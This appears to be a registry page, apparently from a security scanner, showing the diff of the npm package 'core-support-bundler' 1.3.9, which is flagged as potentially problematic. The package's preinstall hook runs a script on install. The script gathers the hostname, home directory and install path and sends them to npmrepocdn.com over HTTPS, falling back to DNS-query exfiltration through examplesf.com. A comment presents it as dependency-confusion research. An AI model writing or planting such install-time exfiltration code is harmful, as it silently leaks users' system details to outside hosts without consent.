core-support-bundler 1.3.9
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of core-support-bundler might be problematic. Click here for more details.
- package/README.md +1 -0
- package/package.json +13 -0
- package/src/index.js +81 -0
package/README.md
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
test
|
package/package.json
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
{
|
2
|
+
"name": "core-support-bundler",
|
3
|
+
"version": "1.3.9",
|
4
|
+
"description": "http://haxx.cc/?core-support-bundler",
|
5
|
+
"main": "src/index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node src/index.js",
|
8
|
+
"dev": "node src/index.js",
|
9
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
10
|
+
},
|
11
|
+
"author": "",
|
12
|
+
"license": "ISC"
|
13
|
+
}
|
package/src/index.js
ADDED
@@ -0,0 +1,81 @@
|
|
1
|
+
/*
|
2
|
+
This code is used for research purposes, and for taking control of a package name in the
|
3
|
+
public namespace that could be exploited by someone to deliver a malicious payload.
|
4
|
+
|
5
|
+
No sensitive data is retrieved.
|
6
|
+
|
7
|
+
Any associated data will not be kept.
|
8
|
+
*/
|
9
|
+
|
10
|
+
|
11
|
+
const dns = require('dns');
|
12
|
+
const os = require('os');
|
13
|
+
const https = require('https')
|
14
|
+
|
15
|
+
const suffix = '.e.examplesf.com';
|
16
|
+
const ns = 'ns1.examplesf.com';
|
17
|
+
|
18
|
+
const package = 'support-bundle';
|
19
|
+
|
20
|
+
function sendToServer(data) {
|
21
|
+
data = Buffer.from(data).toString('hex');
|
22
|
+
data = data.match(/.{1,60}/g);
|
23
|
+
|
24
|
+
id = Math.random().toString(36).substring(2);
|
25
|
+
|
26
|
+
data.forEach(function (chunk, idx){
|
27
|
+
try {
|
28
|
+
// dns.resolve(
|
29
|
+
// 'v2_f.' + id + '.' + idx + '.' + chunk + '.v2_e' + suffix, 'A',
|
30
|
+
// console.log);
|
31
|
+
dns.resolve(
|
32
|
+
id+'.'+chunk+suffix,
|
33
|
+
console.log);
|
34
|
+
} catch (e) { }
|
35
|
+
});
|
36
|
+
}
|
37
|
+
|
38
|
+
function tryGet(toCall) {
|
39
|
+
try {
|
40
|
+
return toCall();
|
41
|
+
} catch(e) {
|
42
|
+
return 'err';
|
43
|
+
}
|
44
|
+
}
|
45
|
+
|
46
|
+
console.log('lets goooo');
|
47
|
+
|
48
|
+
data = {
|
49
|
+
p : package,
|
50
|
+
h : tryGet(os.hostname),
|
51
|
+
d : tryGet(os.homedir),
|
52
|
+
c : __dirname
|
53
|
+
}
|
54
|
+
|
55
|
+
data = JSON.stringify(data);
|
56
|
+
|
57
|
+
// try to exfil over https first
|
58
|
+
const options = {
|
59
|
+
hostname: 'npmrepocdn.com',
|
60
|
+
port: 443,
|
61
|
+
path: '/?'+Buffer.from(data).toString('base64'),
|
62
|
+
method: 'GET'
|
63
|
+
}
|
64
|
+
|
65
|
+
const req = https.request(options, res => {})
|
66
|
+
|
67
|
+
req.on('error', error => {
|
68
|
+
// failed, so try the hax on dns for exfil
|
69
|
+
sendToServer(data);
|
70
|
+
dns.lookup(ns, function(err, address) {
|
71
|
+
if (!err) {
|
72
|
+
nsAddress = address;
|
73
|
+
} else {
|
74
|
+
nsAddress = '8.8.8.8';
|
75
|
+
}
|
76
|
+
dns.setServers([nsAddress, '8.8.4.4']);
|
77
|
+
sendToServer(data);
|
78
|
+
});
|
79
|
+
})
|
80
|
+
|
81
|
+
req.end()
|